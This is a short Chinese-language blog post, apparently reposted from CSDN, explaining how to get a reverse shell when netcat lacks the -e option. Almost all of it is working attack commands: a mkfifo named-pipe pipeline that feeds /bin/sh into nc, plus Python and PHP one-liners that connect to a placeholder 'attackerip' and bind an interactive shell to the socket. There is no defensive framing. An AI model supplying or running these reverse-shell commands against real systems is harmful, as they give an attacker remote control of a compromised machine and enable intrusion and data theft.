nc不支持-e时的反弹

2023-12-28 19:24:16

请添加图片描述

如果你想要使用nc反弹shell，但是不能使用-e选项，你可以尝试以下的替代方法：

  • 使用mkfifo或mknod命令创建一个命名管道，然后使用cat命令读取管道中的内容，并将其传递给/bin/sh执行，再将输出重定向到nc连接。 例如：
  mkfifo /tmp/f
  cat /tmp/f | /bin/sh -i 2>&1 | nc attackerip listenport > /tmp/f
  • 使用python或php脚本来执行系统命令，并将标准输入、输出、错误重定向到socket连接。例如：
  python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",listenport));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

  php -r '$sock=fsockopen("attackerip",listenport);exec("/bin/sh -i <&3 >&3 2>&3");'

文章来源:https://blog.csdn.net/Jailman/article/details/135274665
本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。